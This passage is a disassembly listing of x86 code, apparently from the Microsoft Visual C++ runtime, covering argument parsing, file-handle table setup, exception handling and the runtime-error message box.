		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		call	near ptr 2620B33h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620E13h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620B33h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2620E75h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2860000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 262081Dh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2620A64h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2670630h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 262081Dh
		push	eax
		nop
		call	near ptr 2700000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610C9Eh


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2610C9Eh


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 26106E8h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 2680C22h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
